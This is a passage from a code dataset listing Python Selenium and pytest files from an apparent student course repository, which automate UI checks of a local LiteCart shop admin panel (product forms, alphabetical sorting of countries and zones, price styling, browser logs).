checkbox_category = get_checkboxs_item(driver, 'Categories', 'Rubber Ducks')\n checkbox_category.click()\n\n list_categories = get_list(driver, 'Default Category')\n list_categories.click()\n\n list_item_category = get_list_item(driver, 'Default Category', 'Root')\n list_item_category.click()\n\n checkbox_product_group = get_checkboxs_item(driver, 'Product Groups', 'Unisex')\n checkbox_product_group.click()\n\n input_quantity = get_input_by_type(driver, 'Quantity', 'number')\n input_quantity.clear()\n input_quantity.send_keys('50')\n\n file_input_upload_image = get_input_by_type(driver, 'Upload Images', 'file')\n file_input_upload_image.send_keys(os.getcwd() + '\\static\\images\\Dudu.jpg')\n\n today = date.today().strftime(\"%m.%d.%Y\")\n day_in_future = (date.today() + timedelta(days=3)).strftime(\"%m.%d.%Y\")\n\n date_input_from = get_input_by_type(driver, 'Date Valid From', 'date')\n date_input_from.send_keys(today)\n\n date_input_to = get_input_by_type(driver, 'Date Valid To', 'date')\n date_input_to.send_keys(day_in_future)\n\ndef fill_tab_information(driver):\n tab_info = get_tab(driver, 'Information')\n tab_info.click()\n\n list_manufacturer = get_list(driver, 'Manufacturer')\n list_manufacturer.click()\n\n list_item_manufacturer = get_list_item(driver, 'Manufacturer', 'ACME Corp.')\n list_item_manufacturer.click()\n\n list_supplier = get_list(driver, 'Supplier')\n list_supplier.click()\n\n list_item_supplier = get_list_item(driver, 'Supplier', 'Select')\n list_item_supplier.click()\n\n input_keywords = get_input_by_type(driver, 'Keywords', 'text')\n input_keywords.send_keys('Keywords')\n\n input_short_description = get_input_by_type(driver, 'Short Description', 'text')\n input_short_description.send_keys('Short Description')\n\n area_description = driver.find_element_by_xpath(f'//div[@class=\"content\"]//tr[contains(., \"Description\")]//div[@contenteditable=\"true\"]')\n area_description.send_keys('Description')\n\n input_head_title = get_input_by_type(driver, 'Head Title', 'text')\n input_head_title.send_keys('Head Title')\n\n input_meta_description = get_input_by_type(driver, 'Meta Description', 'text')\n input_meta_description.send_keys('Meta Description')\n\ndef fill_tab_prices(driver):\n tab_prices = get_tab(driver, 'Prices')\n tab_prices.click()\n\n input_purchase_price = get_input_by_type(driver, 'Purchase Price', 'number')\n input_purchase_price.clear()\n input_purchase_price.send_keys('50')\n\n list_purchase_price = get_list(driver, 'Purchase Price')\n list_purchase_price.click()\n\n list_item_category = get_list_item(driver, 'Purchase Price', 'Euros')\n list_item_category.click()\n\n input_price_usd = get_input_by_name_value(driver, 'gross_prices[USD]')\n input_price_usd.clear()\n input_price_usd.send_keys('40')\n\n input_gross_price_usd = get_input_by_name_value(driver, 'gross_prices[USD]')\n input_gross_price_usd.clear()\n input_gross_price_usd.send_keys('33')\n\n input_price_eur = get_input_by_name_value(driver, 'prices[EUR]')\n input_price_eur.clear()\n input_price_eur.send_keys('50')\n\n input_gross_price_eur = get_input_by_name_value(driver, 'gross_prices[EUR]')\n input_gross_price_eur.clear()\n input_gross_price_eur.send_keys('40')\n\ndef get_list(driver, list_name):\n return driver.find_element_by_xpath(f'//div[@class=\"content\"]//tr[contains(., \"{list_name}\")]//select')\n\ndef get_list_item(driver, list_name, item):\n return driver.find_element_by_xpath(f'//div[@class=\"content\"]//tr[contains(., \"{list_name}\")]'\n f'//option[contains(text(), \"{item}\")]')\n\ndef get_checkboxs_item(driver, checkbox_name, item):\n return driver.find_element_by_xpath(f'//div[@class=\"content\"]//tr[contains(., \"{checkbox_name}\")]'\n f'//td[contains(., \"{item}\")]/preceding-sibling::td//input')\n\ndef get_input_by_type(driver, input_name, input_type):\n return driver.find_element_by_xpath(f'//div[@class=\"content\"]//tr[contains(., \"{input_name}\")]'\n f'//input[@type=\"{input_type}\"]')\n\ndef get_input_by_name_value(driver, name_value):\n return driver.find_element_by_xpath(f'//div[@class=\"content\"]//input[@name=\"{name_value}\"]')\n\ndef get_tab(driver, tab_name):\n return driver.find_element_by_xpath(f'//div[@class=\"tabs\"]//a[contains(text(), \"{tab_name}\")]')\n\n#endregion\n\n#region ASSERTS_METHODS_REGION\n\ndef assert_row_in_table(driver, name):\n expected_rows = driver.find_elements_by_xpath(f'//table//td//a[text()=\"{name}\"]')\n\n assert len(expected_rows) > 0, f'The row with text \"{name}\" didn\\'t found.'\n\n#endregion" }, { "alpha_fraction": 0.6604774594306946, "alphanum_fraction": 0.663129985332489, "avg_line_length": 30.873239517211914, "blob_id": "e673c9f034dd07c6ec18d3008beced501c489209", "content_id": "bc56fc0f02b206c741928bd2091b6762b2e52579", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 2262, "license_type": "no_license", "max_line_length": 138, "num_lines": 71, "path": "/lesson10_17.py", "repo_name": "Telelichko/SoftwareTesting_Selenium", "src_encoding": "UTF-8", "text": "import pytest\nfrom selenium import webdriver\n\[email protected]()\ndef driver(request):\n wd = webdriver.Chrome()\n wd.implicitly_wait(10)\n request.addfinalizer(wd.quit)\n return wd\n\n#region TESTS_METHODS_REGION\n\ndef test_check_logs_in_products(driver):\n authorization_in_admin_panel(driver)\n\n catalog_section = driver.find_element_by_xpath('//div[contains(@id, \"menu-wrapper\")]//span[contains(text(), \"Catalog\")]')\n catalog_section.click()\n\n link_product_category = driver.find_element_by_xpath('//table[@class=\"dataTable\"]//a[not(contains(text(), \"[Root]\")) and not(title)]')\n link_product_category.click()\n\n count_products = len(driver.find_elements_by_xpath('//table[@class=\"dataTable\"]//img/following-sibling::a'))\n\n products_logs = {}\n for i in range(count_products):\n link_product = driver.find_element_by_xpath(f'//table[@class=\"dataTable\"]/descendant::img[{i + 1}]/following-sibling::a')\n link_product.click()\n\n logs = get_logs_on_page(driver)\n\n product_page_title = driver.find_element_by_xpath(f'//h1').text\n product_name = product_page_title.replace('Edit Product: ', '')\n products_logs.update({product_name: logs})\n\n button_cancel = driver.find_element_by_xpath('//button[contains(., \"Cancel\")]')\n button_cancel.click()\n\n is_logs_exist = len([z for z in products_logs.values() if z != []]) != 0\n\n assert not(is_logs_exist), f'There is some logs in products.'\n\n#endregion\n\n#region ACTIONS_METHODS_REGION\n\ndef authorization_in_admin_panel(driver):\n main_page_url = 'http://localhost/litecart/admin/'\n driver.get(main_page_url)\n\n input_username = driver.find_element_by_name('username')\n input_username.send_keys('admin')\n\n input_password = driver.find_element_by_name('password')\n input_password.send_keys('nimda')\n\n button_login = driver.find_element_by_name('login')\n button_login.click()\n\ndef get_logs_on_page(driver):\n browser_logs = driver.get_log(\"browser\")\n\n if browser_logs != []:\n product_page_title = driver.find_element_by_xpath(f'//h1').text\n print(f'Browser logs on page \"{product_page_title}\": \\n')\n\n for l in browser_logs:\n print(f'{l} \\n')\n\n return browser_logs\n\n#endregion" }, { "alpha_fraction": 0.6779323816299438, "alphanum_fraction": 0.6898608207702637, "avg_line_length": 28.647058486938477, "blob_id": "57a5e7729dcd9e5c85fd166a1583bca36e0f76dc", "content_id": "acd062036deda3381fa0eb04f747738cd536b27c", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 503, "license_type": "no_license", "max_line_length": 86, "num_lines": 17, "path": "/lesson11_19/pages/MainPage.py", "repo_name": "Telelichko/SoftwareTesting_Selenium", "src_encoding": "UTF-8", "text": "from selenium.webdriver.support.wait import WebDriverWait\nfrom python_tests.lesson11_19.Helpers.DomHelper import DomHelper\n\n\nclass MainPage:\n\n def __init__(self, driver):\n self.driver = driver\n self.wait = WebDriverWait(driver, 10)\n self.domHelper = DomHelper()\n\n def open(self):\n self.driver.get(\"http://localhost/litecart/\")\n return self\n\n def get_product_in_list(self):\n return self.driver.find_element_by_xpath(self.domHelper.xpath_product_in_list)" }, { "alpha_fraction": 0.6618835926055908, "alphanum_fraction": 0.6661277413368225, "avg_line_length": 34.09219741821289, "blob_id": "0b287bce1766c7c0e55c4f007adfe3daffd7095d", "content_id": "daaeaba2e0e7c2bae0716bfcdf630d208fc04e27", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 4948, "license_type": "no_license", "max_line_length": 166, "num_lines": 141, "path": "/lesson5_9.py", "repo_name": "Telelichko/SoftwareTesting_Selenium", "src_encoding": "UTF-8", "text": "import pytest\nfrom selenium import webdriver\n\n\[email protected]()\ndef driver(request):\n wd = webdriver.Chrome()\n wd.implicitly_wait(10)\n request.addfinalizer(wd.quit)\n return wd\n\n#region TESTS_METHODS_REGION\n\n\ndef test_countries_sorted_alphabetically(driver):\n authorization_in_admin_panel(driver)\n\n check_countries_sorted_alphabetically(driver)\n\n check_zones_sorted_alphabetically(driver)\n\n#endregion\n\n#region ACTIONS_METHODS_REGION\n\ndef authorization_in_admin_panel(driver):\n main_page_url = 'http://localhost/litecart/admin/'\n driver.get(main_page_url)\n\n input_username = driver.find_element_by_name('username')\n input_username.send_keys('admin')\n\n input_password = driver.find_element_by_name('password')\n input_password.send_keys('nimda')\n\n button_login = driver.find_element_by_name('login')\n button_login.click()\n\ndef check_countries_sorted_alphabetically(driver):\n go_to_countries_page(driver)\n\n table_countries = driver.find_element_by_xpath('//table[@class=\"dataTable\"]')\n\n index_country_name = int(table_countries.find_element_by_xpath('.//tr[@class=\"header\"]//th[text()=\"Name\"]').get_attribute('cellIndex'))\n\n index_country_zone = int(table_countries.find_element_by_xpath('.//tr[@class=\"header\"]//th[text()=\"Zones\"]').get_attribute('cellIndex'))\n\n list_rows = table_countries.find_elements_by_xpath('.//tr[@class=\"row\"]')\n\n list_names = []\n list_zones = []\n for row in list_rows:\n # # 1 passed in 32.29s\n # row_elements = row.find_elements_by_xpath(f'.//td')\n\n # 1 passed in 30.67s\n row_elements = list(row.find_elements_by_xpath(f'.//td'))\n\n element_name = row_elements[index_country_name].text\n list_names.append(element_name)\n\n text_zone = row_elements[index_country_zone].text\n list_zones.append(text_zone)\n\n page_title = driver.find_element_by_xpath('//h1').text\n assert_list_sorted_alphabetically(list_names, page_title)\n\n for i in [index for index, country in enumerate(list_zones) if country != '0']:\n country_name = go_to_page_country_by_number(driver, i + 1)\n inputs = driver.find_elements_by_xpath('//table[@id=\"table-zones\"]//input[contains(@name, \"[name]\")]')\n\n list_inside_country_with_names = []\n\n for input in inputs:\n if input.get_attribute('value') == '' and input.get_attribute('type') != 'hidden':\n continue\n\n list_inside_country_with_names.append(input.get_attribute('value'))\n\n page_title = driver.find_element_by_xpath('//h1').text\n country_name = driver.find_element_by_xpath('//input[@name=\"name\"]').get_attribute('value')\n\n assert_list_sorted_alphabetically(list_inside_country_with_names, f'{page_title} {country_name}')\n\n go_to_countries_page(driver)\n\ndef check_zones_sorted_alphabetically(driver):\n go_to_geo_zones_page(driver)\n\n count_rows = len(driver.find_elements_by_xpath('//table[@class=\"dataTable\"]//tr[@class=\"row\"]'))\n\n for i in range(count_rows):\n link_country = driver.find_element_by_xpath(f'//table[@class=\"dataTable\"]/descendant::tr[@class=\"row\"][{i + 1}]//a')\n link_country.click()\n\n count_zones = len(driver.find_elements_by_xpath('//table[@class=\"dataTable\"]//select[contains(@name, \"zone_code\")]'))\n\n list_zones = []\n for i in range(count_zones):\n\n text_zone = driver.find_element_by_xpath(f'//table[@class=\"dataTable\"]/descendant::select[contains(@name, \"zone_code\")][{i + 1}]//option[@selected]').text\n\n list_zones.append(text_zone)\n\n page_title = driver.find_element_by_xpath('//h1').text\n country_name = driver.find_element_by_xpath('//input[@name=\"name\"]').get_attribute('value')\n\n assert_list_sorted_alphabetically(list_zones, f'{page_title} {country_name}')\n go_to_geo_zones_page(driver)\n\ndef go_to_countries_page(driver):\n countries_page_url = 'http://localhost/litecart/admin/?app=countries&doc=countries'\n driver.get(countries_page_url)\n\ndef go_to_geo_zones_page(driver):\n countries_page_url = 'http://localhost/litecart/admin/?app=geo_zones&doc=geo_zones'\n driver.get(countries_page_url)\n\ndef is_in_alphabetical_order(list_words):\n for i in range(len(list_words) - 1):\n if list_words[i] > list_words[i + 1]:\n return False\n return True\n\ndef go_to_page_country_by_number(driver, number):\n link_country = driver.find_element_by_xpath(f'//table[@class=\"dataTable\"]//tr[@class=\"row\"][{number}]//a[contains(@href, \"edit_country\")]')\n country_name = link_country.text\n link_country.click()\n\n return country_name\n\n#endregion\n\n#region ASSERTS_METHODS_REGION\n\ndef assert_list_sorted_alphabetically(lists_text, page_name_for_log):\n test_passed = is_in_alphabetical_order(lists_text)\n\n assert test_passed, f'Countries on page \"{page_name_for_log}\" (\"{lists_text}\") isn\\'t sorted alphabetically.'\n\n#endregion\n" }, { "alpha_fraction": 0.6807523965835571, "alphanum_fraction": 0.68525630235672, "avg_line_length": 38.5287971496582, "blob_id": "b9cda8e11a2c4b17235f2c9d30ffa77ca95b8136", "content_id": "406b1909c8635f8b92fb9dfc59a27480fa0ad861", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 7549, "license_type": "no_license", "max_line_length": 134, "num_lines": 191, "path": "/lesson5_10.py", "repo_name": "Telelichko/SoftwareTesting_Selenium", "src_encoding": "UTF-8", "text": "import ast\nimport re\nfrom enum import Enum\n\nimport pytest\nfrom selenium import webdriver\n\n\nclass Browser(Enum):\n CHROME = 1\n FIREFOX_OLD_SCHEME = 2\n FIREFOX_NEW_SCHEME = 3\n EXPLORER = 4\n\[email protected]()\ndef driver(request):\n wd = select_browser(Browser.CHROME, request)\n\n return wd\n\n#region TESTS_METHODS_REGION\n\ndef test_check_prices_colors_sizes(driver):\n go_to_main_page(driver)\n\n product = driver.find_element_by_xpath(f'//div[@id=\"box-campaigns\"]//li[contains(@class, \"product\")]')\n element_product_link = product.find_element_by_xpath(f'.//a')\n product_name = element_product_link.get_attribute('title')\n\n element_price = get_first_element_or_none(product.find_elements_by_class_name('price'))\n element_regular_price = get_first_element_or_none(product.find_elements_by_class_name('regular-price'))\n element_campaign_price = get_first_element_or_none(product.find_elements_by_class_name('campaign-price'))\n\n check_color_size_prices(driver, product_name, element_price, element_regular_price, element_campaign_price)\n\n text_price = get_text_or_none(element_price)\n text_regular_price = get_text_or_none(element_regular_price)\n text_campaign_price = get_text_or_none(element_campaign_price)\n\n driver.get(element_product_link.get_attribute('href'))\n\n product_inside = driver.find_element_by_xpath('//div[@id=\"box-product\"]')\n\n element_product_name_inside = product_inside.find_element_by_class_name('title')\n product_name_inside = element_product_name_inside.text\n\n element_price_inside = get_first_element_or_none(product_inside.find_elements_by_class_name('price'))\n element_regular_price_inside = get_first_element_or_none(product_inside.find_elements_by_class_name('regular-price'))\n element_campaign_price_inside = get_first_element_or_none(product_inside.find_elements_by_class_name('campaign-price'))\n\n check_color_size_prices(driver, element_product_name_inside, element_price_inside, element_regular_price_inside,\n element_campaign_price_inside)\n\n text_price_inside = get_text_or_none(element_price_inside)\n text_regular_price_inside = get_text_or_none(element_regular_price_inside)\n text_campaign_price_inside = get_text_or_none(element_campaign_price_inside)\n\n assert product_name == product_name_inside, \\\n f'Names of product \"{product_name}\" aren\\'t the same (\"{product_name}\" != \"{product_name_inside}\").'\n\n assert text_price == text_price_inside, \\\n f'The simple prices in product \"{product_name}\" aren\\'t the same (\"{text_price}\" != \"{price_inside}\").'\n\n assert text_regular_price == text_regular_price_inside, \\\n f'The simple prices in product \"{product_name}\" aren\\'t the same (\"{text_regular_price}\" != \"{regular_price_inside}\").'\n\n assert text_campaign_price == text_campaign_price_inside, \\\n f'The simple prices in product \"{product_name.text}\" aren\\'t the same (\"{text_campaign_price}\" != \"{campaign_price_inside}\").'\n\n go_to_main_page(driver)\n\n#endregion\n\n#region ACTIONS_METHODS_REGION\n\ndef go_to_main_page(driver):\n main_page_url = 'http://localhost/litecart/'\n driver.get(main_page_url)\n\ndef select_browser(browser, request):\n if browser == Browser.CHROME:\n wd = webdriver.Chrome()\n elif browser == Browser.FIREFOX_OLD_SCHEME:\n # Needs (old) Firefox version 45\n wd = webdriver.Firefox(capabilities={\"marionette\": False})\n elif browser == Browser.FIREFOX_NEW_SCHEME:\n # Firefox Nightly\n # wd = webdriver.Firefox()\n wd = webdriver.Firefox(capabilities={\"marionette\": True})\n elif browser == Browser.EXPLORER:\n # Needs a 32 bit driver\n wd = webdriver.Ie(capabilities={\"requireWindowFocus\": True})\n elif browser == Browser.All:\n return\n else:\n return\n\n wd.implicitly_wait(2)\n request.addfinalizer(wd.quit)\n return wd\n\ndef get_first_element_or_none(list_elements):\n if(len(list_elements) == 0):\n return None\n else:\n return list_elements[0]\n\ndef get_text_or_none(element):\n if(element == None):\n return None\n else:\n return element.text\n\ndef check_element_or_none(element):\n return element != None\n\ndef parse_element_color_to_components(element):\n color = element.value_of_css_property('color') # 51, 51, 51\n\n color_components = re.findall('[\\d]+',color)\n r, g, b = int(color_components[0]), int(color_components[1]), int(color_components[2])\n return r, g, b\n\n#endregion\n\n#region ASSERTS_METHODS_REGION\n\ndef check_color_size_prices(driver, product_name, element_price, element_regular_price, element_campaign_price):\n if element_price != None:\n assert_element_without_line(element_price)\n assert_element_grey_color(element_price)\n\n if element_regular_price != None:\n assert_element_crossed_out(element_regular_price)\n assert_element_grey_color(element_regular_price)\n\n if element_campaign_price != None:\n assert_element_without_line(element_campaign_price)\n assert_element_fatty(element_campaign_price)\n assert_element_red_color(element_campaign_price)\n\n if element_regular_price != None and element_campaign_price != None:\n assert_first_text_is_bigger(element_campaign_price, element_regular_price)\n\n if(element_price == None and element_regular_price == None and element_campaign_price == None):\n raise Exception(f'There isn\\'t any price in product \"{product_name}\".')\n\n if(check_element_or_none(element_regular_price) != check_element_or_none(element_campaign_price)):\n raise Exception(f'There is one price instead 2 in product \"{product_name}\" '\n f'(regular price = \"{get_text_or_none(element_regular_price)}\", '\n f'campaign price = \"{get_text_or_none(element_campaign_price)}\").')\n\ndef assert_element_grey_color(element):\n r, g, b = parse_element_color_to_components(element)\n grey_color = r == g == b and r >= 50 and r < 150\n\n assert grey_color, f'The color in element \"{element.text}\" isn\\' grey.'\n\ndef assert_element_red_color(element):\n r, g, b = parse_element_color_to_components(element)\n red_color = r >= 100 and g == 0 and b == 0\n\n assert red_color, f'The color in element \"{element.text}\" isn\\' red.'\n\ndef assert_element_crossed_out(element):\n line_property_by_css = element.value_of_css_property('text-decoration-line')\n line_property_by_tag = element.tag_name\n\n assert line_property_by_css == 'line-through' or line_property_by_tag == 's',\\\n f'Line in element \"{element.text}\" isn\\'t crossed out.'\n\ndef assert_element_without_line(element):\n line_property_by_css = element.value_of_css_property('text-decoration-line')\n line_property_by_tag = element.tag_name\n\n assert line_property_by_css != 'line-through' and line_property_by_tag != 's', \\\n f'There is line on text \"{element.text}\".'\n\ndef assert_element_fatty(element):\n weight = int(element.value_of_css_property('font-weight'))\n\n assert weight >= 700, f'Element \"{element.text}\" isn\\'t fatty.'\n\ndef assert_first_text_is_bigger(first_element, second_element):\n size_first_element = float(first_element.value_of_css_property('font-size').replace('px', ''))\n size_second_element = float(second_element.value_of_css_property('font-size').replace('px', ''))\n\n assert size_first_element > size_second_element, \\\n f'Size of first element \"{first_element.text}\" isn\\'t bigger than size of second element \"{second_element.text}\".'\n\n#endregion" }, { "alpha_fraction": 0.6926640868186951, "alphanum_fraction": 0.6980695128440857, "avg_line_length": 33.105262756347656, "blob_id": "3efc9d0a87878dddf02a9662a7d2f0883dcc0a02", "content_id": "baa5de648b034294b784ebe9b1bd239786f00257", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 1295, "license_type": "no_license", "max_line_length": 91, "num_lines": 38, "path": "/lesson11_19/pages/EditProductPage.py", "repo_name": "Telelichko/SoftwareTesting_Selenium", "src_encoding": "UTF-8", "text": "from selenium.webdriver.support import expected_conditions as EC\nfrom selenium.webdriver.common.by import By\nfrom selenium.webdriver.support.wait import WebDriverWait\nfrom python_tests.lesson11_19.Helpers.DomHelper import DomHelper\n\n\nclass EditProductPage:\n\n def __init__(self, driver):\n self.driver = driver\n self.wait = WebDriverWait(driver, 10)\n self.domHelper = DomHelper()\n\n def get_list_size(self):\n return self.domHelper.get_list(self.driver, 'Size')\n\n def get_lists_item_small_size(self):\n return self.domHelper.get_list_item(self.driver, 'Size', 'Small')\n\n def get_product_quantity(self):\n return self.driver.find_element_by_xpath(self.domHelper.xpath_product_quantity)\n\n def get_button_to_cart(self):\n return self.driver.find_element_by_xpath(self.domHelper.xpath_button_to_cart)\n\n def get_link_cart(self):\n return self.driver.find_element_by_xpath(self.domHelper.xpath_link_cart)\n\n def is_element_exist(self, xpath):\n elements = self.driver.find_elements_by_xpath(xpath)\n\n if len(elements) > 0:\n return True\n\n return False\n\n def wait_until_text_appear(self, xpath, expected_text):\n self.wait.until(EC.text_to_be_present_in_element((By.XPATH, xpath), expected_text))" }, { "alpha_fraction": 0.6766886115074158, "alphanum_fraction": 0.6816309690475464, "avg_line_length": 32.27397155761719, "blob_id": "31928cc0dc794e572d5944c7947eefe79309edff", "content_id": "52723d2dbf1434605dc1df0f62f80b95ebfeed9b", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 2459, "license_type": "no_license", "max_line_length": 129, "num_lines": 73, "path": "/lesson8_14.py", "repo_name": "Telelichko/SoftwareTesting_Selenium", "src_encoding": "UTF-8", "text": "import pytest\nfrom time import sleep\nfrom selenium import webdriver\nfrom selenium.webdriver.support.wait import WebDriverWait\nfrom selenium.webdriver.support import expected_conditions as EC\n\n\[email protected]()\ndef driver(request):\n wd = webdriver.Chrome()\n wd.implicitly_wait(10)\n request.addfinalizer(wd.quit)\n return wd\n\n#region TESTS_METHODS_REGION\n\ndef test_open_links_countries(driver):\n test_authorization_admin_panel(driver)\n\n countries_section = driver.find_element_by_xpath('//div[contains(@id, \"menu-wrapper\")]//span[contains(text(), \"Countries\")]')\n countries_section.click()\n\n link_first_country = driver.find_element_by_xpath('//table[@class=\"dataTable\"]//a')\n link_first_country.click()\n\n count_external_pages = len(driver.find_elements_by_xpath('//td[@id=\"content\"]//table//i'))\n\n window_litecart = driver.current_window_handle\n list_windows_before = driver.window_handles\n\n for i in range(count_external_pages):\n WebDriverWait(driver, 10).until(EC.visibility_of(driver.find_element_by_xpath('//h1[contains(., \"Edit Country\")]')))\n\n links_external_page = driver.find_elements_by_xpath(f'//td[@id=\"content\"]//table//i')[i]\n links_external_page.click()\n\n WebDriverWait(driver, 10).until(lambda d: len(list_windows_before) + 1)\n list_windows_after = driver.window_handles\n\n for item in list_windows_after:\n if item not in list_windows_before:\n driver.switch_to.window(item)\n # Пауза для проверки работы автотеста\n sleep(0.5)\n driver.close()\n driver.switch_to.window(window_litecart)\n break\n\n#endregion\n\n#region ACTIONS_METHODS_REGION\n\ndef test_authorization_admin_panel(driver):\n admin_page_url = 'http://localhost/litecart/admin/'\n driver.get(admin_page_url)\n\n input_username = driver.find_element_by_name('username')\n input_username.send_keys('admin')\n\n input_password = driver.find_element_by_name('password')\n input_password.send_keys('nimda')\n\n button_login = driver.find_element_by_name('login')\n button_login.click()\n\ndef there_is_window_other_than(driver, old_windows):\n new_windows = driver.window_handles\n wait = WebDriverWait(driver, 60) # seconds\n wait.until(lambda d: len(old_windows) < len(new_windows))\n new_window = old_windows - new_windows\n return new_window\n\n#endregion" }, { "alpha_fraction": 0.6482136845588684, "alphanum_fraction": 0.6675249338150024, "avg_line_length": 29.73267364501953, "blob_id": "8e99346b913f4330b0aac3120c76b76e22ee39ef", "content_id": "ef4eeed40db785e1eec750200b9648cc79c40cbc", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 3107, "license_type": "no_license", "max_line_length": 98, "num_lines": 101, "path": "/lesson4_8_old.py", "repo_name": "Telelichko/SoftwareTesting_Selenium", "src_encoding": "UTF-8", "text": "import pytest\nfrom selenium import webdriver\nfrom enum import Enum\n\nfrom selenium.common.exceptions import NoSuchElementException\n\n\nclass Browser(Enum):\n CHROME = 1\n FIREFOX_OLD_SCHEME = 2\n FIREFOX_NEW_SCHEME = 3\n EXPLORER = 4\n ALL = 5\n\n\[email protected]()\ndef driver(request):\n wd = select_browser(Browser.EXPLORER, request)\n return wd\n\n#region TESTS_METHODS_REGION\n\ndef test_authorization_main_page(driver):\n main_page_url = 'http://localhost/litecart/'\n driver.get(main_page_url)\n\ndef test_check_stickers_exist(driver):\n test_authorization_main_page(driver)\n\n products = driver.find_elements_by_class_name('product')\n\n test_passed = True\n products_without_stickers = []\n for item in products:\n product_name = item.find_element_by_class_name('name')\n\n product_stickers = item.find_elements_by_xpath('//div[contains(@class, \"sticker\")]')\n\n if(len(product_stickers) != 0):\n products_without_stickers.append(product_name.text)\n test_passed = False\n\n assert test_passed, f'{len(products)} products without stickers: {products_without_stickers}.'\n\n#endregion\n\n#region ACTIONS_METHODS_REGION\n\ndef select_browser(browser, request):\n if browser == Browser.CHROME:\n wd = webdriver.Chrome()\n elif browser == Browser.FIREFOX_OLD_SCHEME:\n # Needs (old) Firefox version 45\n wd = webdriver.Firefox(capabilities={\"marionette\": False})\n elif browser == Browser.FIREFOX_NEW_SCHEME:\n # Firefox Nightly\n # wd = webdriver.Firefox()\n wd = webdriver.Firefox(capabilities={\"marionette\": True})\n elif browser == Browser.EXPLORER:\n # Needs a 32 bit driver\n wd = webdriver.Ie(capabilities={\"requireWindowFocus\": True})\n else:\n return\n\n wd.implicitly_wait(2)\n request.addfinalizer(wd.quit)\n return wd\n\n#endregion\n\n#region EXPERIMENTS_REGION\n\ndef test_check_sections_runtime_estimate(driver):\n test_authorization_main_page(driver)\n\n products = driver.find_elements_by_class_name('product')\n\n test_passed = True\n products_without_stickers = []\n for item in products:\n product_name = item.find_element_by_class_name('name')\n\n # Crome, 11 (wrong items), 10s (wait for each test) = 115.88s (test runtime)\n # product_sticker = item.find_elements_by_class_name('sticker1')\n\n # Crome, 11 (wrong items), 10s (wait for each test) = 115.96s (test runtime)\n # Explorer, 11 (wrong items), 10s (wait for each test) = 122.94s (test runtime)\n product_sticker = item.find_elements_by_xpath('//div[contains(@class, \"sticker1\")]')\n\n\n # Crome, 11 (wrong items), 10s (wait for each test) = 115.88s (test runtime)\n # Explorer, 11 (wrong items), 10s (wait for each test) = 123.98s (test runtime)\n # product_sticker = item.find_elements_by_css_selector('div.sticker1')\n\n if(len(product_sticker) == 0):\n products_without_stickers.append(product_name.text)\n test_passed = False\n\n assert test_passed, f'Products without stickers: {products_without_stickers}.'\n\n#endregion\n\n\n\n" }, { "alpha_fraction": 0.672244668006897, "alphanum_fraction": 0.675995409488678, "avg_line_length": 33.65999984741211, "blob_id": "0f51436764e13a594b34d5d5e84742be41b9a318", "content_id": "770762e01e1ef91e55887a1456169a24db79b089", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 3466, "license_type": "no_license", "max_line_length": 143, "num_lines": 100, "path": "/lesson5_9_old.py", "repo_name": "Telelichko/SoftwareTesting_Selenium", "src_encoding": "UTF-8", "text": "import pytest\nfrom selenium import webdriver\n\n\[email protected]()\ndef driver(request):\n wd = webdriver.Chrome()\n # wd = webdriver.Firefox(capabilities={\"marionette\": True})\n wd.implicitly_wait(10)\n request.addfinalizer(wd.quit)\n return wd\n\n#region TESTS_METHODS_REGION\n\n\ndef test_countries_sorted_alphabetically(driver):\n authorization_in_admin_panel(driver)\n go_to_countries_page(driver)\n\n table_countries = driver.find_element_by_xpath('//table[@class=\"dataTable\"]')\n\n index_country_name = int(table_countries.find_element_by_xpath('.//tr[@class=\"header\"]//th[text()=\"Name\"]').get_attribute('cellIndex'))\n\n index_country_zone = int(table_countries.find_element_by_xpath('.//tr[@class=\"header\"]//th[text()=\"Zones\"]').get_attribute('cellIndex'))\n\n list_rows = table_countries.find_elements_by_xpath('.//tr[@class=\"row\"]')\n\n list_names = []\n list_zones = []\n for row in list_rows:\n # 1 passed in 30.94s with right list\n element_name = row.find_element_by_xpath(f'.//td[{index_country_name + 1}]')\n list_names.append(element_name.text)\n\n text_zone = row.find_element_by_xpath(f'.//td[{index_country_zone + 1}]').text\n list_zones.append(text_zone)\n\n assert_countries_sorted_alphabetically(list_names, 'Countries')\n\n for i in [index for index, country in enumerate(list_zones) if country != '0']:\n country_name = go_to_page_country_by_number(driver, i + 1)\n inputs = driver.find_elements_by_xpath('//table[@id=\"table-zones\"]//input[contains(@name, \"[name]\")]')\n\n list_inside_country_with_names = []\n\n for input in inputs:\n if input.get_attribute('value') == '' and input.get_attribute('type') != 'hidden':\n continue;\n\n list_inside_country_with_names.append(input.get_attribute('value'))\n\n assert_countries_sorted_alphabetically(list_names, f'Edit Country \"{country_name}\"')\n # assert_countries_sorted_alphabetically(list_inside_country_with_names, f'Edit Country \"{country_name}\"')\n\n go_to_countries_page(driver)\n\n#endregion\n\n#region ACTIONS_METHODS_REGION\n\ndef authorization_in_admin_panel(driver):\n main_page_url = 'http://localhost/litecart/admin/'\n driver.get(main_page_url)\n\n input_username = driver.find_element_by_name('username')\n input_username.send_keys('admin')\n\n input_password = driver.find_element_by_name('password')\n input_password.send_keys('nimda')\n\n button_login = driver.find_element_by_name('login')\n button_login.click()\n\ndef go_to_countries_page(driver):\n countries_page_url = 'http://localhost/litecart/admin/?app=countries&doc=countries'\n driver.get(countries_page_url)\n\ndef is_in_alphabetical_order(list_words):\n for i in range(len(list_words) - 1):\n if list_words[i] > list_words[i + 1]:\n return False\n return True\n\ndef go_to_page_country_by_number(driver, number):\n link_country = driver.find_element_by_xpath(f'//table[@class=\"dataTable\"]//tr[@class=\"row\"][{number}]//a[contains(@href, \"edit_country\")]')\n country_name = link_country.text\n link_country.click()\n\n return country_name\n\n#endregion\n\n#region ASSERTS_METHODS_REGION\n\ndef assert_countries_sorted_alphabetically(countries_names, page_name_for_log):\n test_passed = is_in_alphabetical_order(countries_names)\n\n assert test_passed, f'Countries on page \"{page_name_for_log}\" (\"{countries_names}\") isn\\'t sorted alphabetically.'\n\n#endregion\n" }, { "alpha_fraction": 